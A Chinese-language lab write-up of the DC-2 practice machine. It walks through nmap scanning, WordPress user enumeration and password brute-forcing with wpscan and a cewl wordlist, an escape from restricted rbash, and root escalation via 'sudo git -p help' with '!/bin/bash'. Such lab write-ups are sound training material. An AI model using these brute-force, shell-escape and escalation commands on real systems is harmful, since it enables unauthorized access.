环境:kali、DC2靶机
DC2靶机默认桥接模式,开启前改成net模式,保证kali和DC2在同一局域网中。(也可都是桥接模式,我比较习惯net模式)
ifconfig查看kaliIP地址:192.168.44.131
查看C段,准备C段扫描,在虚拟机编辑--虚拟网络编辑器中,
得知网段192.168.44.0/24,使用nmap扫描存活主机
nmap -sP 192.168.44.0/24 #扫描IP段的所有IP地址
一般都会扫描出5个存活主机,出去较大的,较小的,得知DC2的IP为192.168.44.142(或者还有一种方法判断192.168.44.142就是DC2主机IP,就是把DC2关机扫描一次,开机扫描一次)
端口扫描,
nmap -A -p1-65535 -T4 192.168.44.142 #扫描开放端口及对应服务
开放了80和7744端口,分别对应http服务和ssh服务。
既然开放80端口,直接访问http服务。直接在地址栏输入IP地址即可,
输入访问ip,发现无法访问返回到dc-2路径,需要修改/etc/host文件
进入/etc目录,vim打开hosts文件,添加 192.168.44.142 dc-2.保存退出
再次访问web服务,即可成功访问,并且看到cms是wordpress(WordPress是一种使用PHP语言和MySQL数据库开发的博客平台)
点击flag,出现提示
看不懂,翻译
提示用cewl工具破解密码,登陆后才可以查看下一个flag
(Cewl是一款采用Ruby开发的应用程序,可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,然后可以用于密码破解。)
既然需要登录,使用dirb扫描网站目录,寻找可登录网站
看到wp-admin,访问
成功访问,看到登录界面,前面又提示需要cwel(cwel生成的字典是用来爆破密码的),尝试用户枚举,然后利用枚举到的用户爆破密码
wpscan --url http://dc-2/wp-admin/ -e u
wpscan --url http://dc-2/wp-admin/ -e u这个命令可以爆出3个用户名,
admin
tom
jerry
(如果wpscan运行时报错,
Unable to get https://data.wpscan.org/metadata.json.sha512 ......等等报错,大概意思呢就是访问不到这个更新源;网上很多教程,大概意思就是下载最新压缩包,放到本地更新。我是直接换了一个kali源,既然找不到更新源,就换掉用其他的。kali源网上很多,我换了阿里云的就能正常更新了。)
接着使用cewl生成与url相关的密码,
vim user.txt #先把用户名放到一个txt中
cewl http://dc-2/ -w passwd.txt #生成字典
用wpscan进行爆破密码。需要两个文件,一个user.txt–内容就是3个用户名。一个是cewl生成的字典文件passwd.txt。
wpscan --url http://dc-2 -U user.txt -P passwd.txt #爆破密码
这里只爆破出两个,admin没有爆出。
用户名密码都拿到手,登录后台,
成功进入,随便点点,
这里看到flag2,提示出现,还是看不懂,
百度翻译
提示说如果不能利用wordpress,也就是80端口,web服务,还有另外一种方法,前面端口扫描时,扫出来了两个服务,另一个是7744端口,ssh服务。尝试连接吧
ssh [email protected],142 -p 7744
jerry不能登录,但是tom登录上了,ls一下,直接看到flag3.txt,想都不用想,直接cat,结果,它早有预防,tom登录后rbash限制,各种命令执行不通,但是vi可以用,
但是vi可以用,
继续百度翻译
什么意思,百度说是要切换用户的意思,
rbash是Restricted Shell,即受限的shell,它与一般标准shell的区别在于会限制执行一些行为。
怎么做可以绕过shell限制?
tom@DC-2:~$ su jerry
-rbash: su: command not found
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ /bin/bash
tom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ export PATH=$PATH:/usr/bin
tom@DC-2:~$ su jerry
Password:
jerry@DC-2:/home/tom$
什么意思,我不知道,反正是切换成功了,不知道的交给百度吧
切换用户后,在jerry的家目录看到flag4.txt
终于,剩最后一个了,
flag4提示可以用git,使用git提权,sudo -l看到不需要root权限。
利用SUID进行提权,SUID可以让调用者以文件拥有者的身份运行该文件
已知可用来提权的linux文件: Nmap Vim find Bash More Less Nano
查找系统上运行的所有SUID可执行文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
(可不输这几条)
输入sudo git -p –help
输入!/bin/bash 获得root权限,在roo目录下找到最终flag。